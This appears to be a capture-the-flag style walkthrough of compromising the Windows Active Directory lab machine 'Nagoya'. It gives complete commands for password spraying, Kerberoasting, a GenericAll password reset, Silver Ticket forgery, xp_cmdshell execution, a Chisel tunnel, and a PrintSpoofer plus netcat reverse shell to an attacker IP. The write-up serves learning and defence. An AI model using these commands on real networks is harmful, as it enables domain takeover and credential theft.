Nagoya

Details

• OS: Windows
• Difficulty: Hard
• IP Address: 192.168.235.21
• Author: AETH3RON

Overview

Nagoya is a Windows Active Directory machine that requires a multi-stage attack chain involving web enumeration and Active Directory exploitation. The foothold is established by harvesting employee names from the company website, generating a custom username list, and performing a password spray attack to compromise a valid user. Lateral movement is achieved by recovering credentials from a hidden file on an SMB share and leveraging Active Directory permissions (GenericAll) to reset a target user’s password. Privilege escalation to Administrator is accomplished by Kerberoasting a service account, forging a Silver Ticket to access a local MSSQL instance, and abusing SeImpersonatePrivilege using PrintSpoofer.

Enumeration

Nmap

We began by performing a basic scan to identify open ports.

nmap -Pn -sS -sV -p- 192.168.235.21 -oN nmap-basic

We performed a more comprehensive scan on the discovered ports to enumerate the services.

nmap -Pn -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985 192.168.235.21 -oN nmap-common

Web Enumeration

We initiated a directory brute-force attack to uncover hidden paths on the web server.

gobuster dir -u http://192.168.235.21/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

The scan revealed several interesting directories. Navigating to the website, we discovered a “Team” section listing the names of company employees.

This list provided a potential vector for username enumeration.

We copied the names into a file and used username-anarchy to generate a list of potential username formats.

./username-anarchy --input-file names.txt > usernames.txt

With the generated dictionary, we validated the usernames against the Domain Controller using kerbrute.

./kerbrute userenum -d nagoya-industries.com --dc 192.168.235.21 usernames.txt

After filtering for valid usernames, we attempted various attacks (such as AS-REP Roasting) without success. We noted the copyright year on the website footer, which suggested a potential password pattern.

Hypothesizing that users might use “SeasonYear” combinations (a common weak password policy), we created a custom password list. We then used NetExec to perform a password spray attack against the SMB service.

nxc smb 192.168.235.21 -u valid_usernames.txt -p passwords.txt

The attack was successful, revealing valid credentials for the user fiona.clark: Summer2023.

SMB

With valid credentials, we enumerated the SMB shares accessible to the user using the spider_plus module.

nxc smb 192.168.235.21 -u fiona.clark -p Summer2023 -M spider_plus

We identified an interesting temporary file. After downloading it, we analyzed its contents using strings with the encoding flag set to 16-bit little-endian (-e l) to reveal hidden text.

strings -e l temp_file

The analysis exposed credentials for the svc_helpdesk account: U299iYRmikYTHDbPbxPoYYfa2j4x4cdg.

Foothold

With the service account credentials, we utilized BloodHound to map the Active Directory environment and identify attack paths.

bloodhound-python -u svc_helpdesk -p U299iYRmikYTHDbPbxPoYYfa2j4x4cdg -ns 192.168.235.21 -d nagoya-industries.com -c All --zip

Analyzing the data, we observed that svc_helpdesk is a member of the Helpdesk group. This group possesses GenericAll privileges over several users, including Christopher.Lewis.

Leveraging this permission, we abused the GenericAll privilege to reset Christopher.Lewis’s password remotely.

net rpc password "christopher.lewis" 'P4ssw0rd123!' -U "nagoya-industries.com"/"svc_helpdesk"%"U299iYRmikYTHDbPbxPoYYfa2j4x4cdg" -S "192.168.235.21"

We then established a shell session as Christopher.Lewis using evil-winrm.

evil-winrm -i 192.168.235.21 -u Christopher.Lewis -p 'P4ssw0rd123!'

Privilege Escalation

Further analysis in BloodHound revealed that svc_mssql and svc_helpdesk are vulnerable to Kerberoasting.

We requested the Service Principal Name (SPN) ticket for the target account using Impacket.

impacket-GetUserSPNs nagoya-industries.com/svc_helpdesk:'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg' -request -dc-ip 192.168.235.21 -outputfile kerberoast.hashes

We cracked the hash using Hashcat, revealing the password Service1.

hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt

Since the MSSQL service was not exposed externally, we deduced it was listening on localhost. We established a reverse tunnel using Chisel to access the internal service.

First, we started the Chisel server on our attacking machine:

./chisel server -p 8000 --reverse

Then, we uploaded the client to the victim machine and connected back:

.\chisel.exe client 192.168.45.212:8000 R:socks

To authenticate to MSSQL with administrative privileges, we forged a Silver Ticket. We required the NTLM hash of the svc_mssql account (derived from the cracked password), the Domain SID, and the Target SPN.

Using impacket-ticketer, we generated the ticket:

impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid "S-1-5-21-1969309164-1513403977-1686805993" -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com Administrator

We exported the credential cache:

export KRB5CCNAME=$PWD/Administrator.ccache

Using proxychains (configured for the Chisel tunnel on port 1080), we authenticated to the MSSQL instance using the forged ticket.

proxychains -q impacket-mssqlclient -k nagoya.nagoya-industries.com

Inside the SQL shell, we enabled xp_cmdshell to execute system commands.

enable_xp_cmdshell
xp_cmdshell whoami

We generated a PowerShell reverse shell payload and executed it via the database.

We caught the connection on our listener. Upon checking privileges, we identified that the user possessed SeImpersonatePrivilege.

We transferred PrintSpoofer.exe and nc.exe to the target. We then executed PrintSpoofer to abuse the privilege and spawn a SYSTEM shell.

PrintSpoofer.exe -c "c:\Temp\nc.exe 192.168.45.212 4433 -e cmd"

The exploit succeeded, granting us a reverse shell as the Administrator.

Business Impact

In a real-world enterprise environment, this attack chain demonstrates how a single weak password policy can cascade into full domain compromise. The combination of password spraying, GenericAll ACL abuse, and Silver Ticket forgery would allow an attacker to move laterally across the entire Active Directory forest undetected. For organizations relying on MSSQL for business-critical applications, the ability to execute commands via xp_cmdshell represents a direct threat to data integrity and regulatory compliance. The final SeImpersonatePrivilege abuse underscores how a single misconfigured service account can undermine the entire security posture of the domain.

References

• NetExec (nxc):
  • https://github.com/Pennyw0rth/NetExec
• Impacket:
  • https://github.com/fortra/impacket
• Username Anarchy:
  • https://github.com/urbanadventurer/username-anarchy
• PrintSpoofer:
  • https://github.com/itm4n/PrintSpoofer
• Silver Ticket Attack (Sean Metcalf):
  • https://adsecurity.org/?p=2011
• Microsoft SPN Documentation:
  • https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names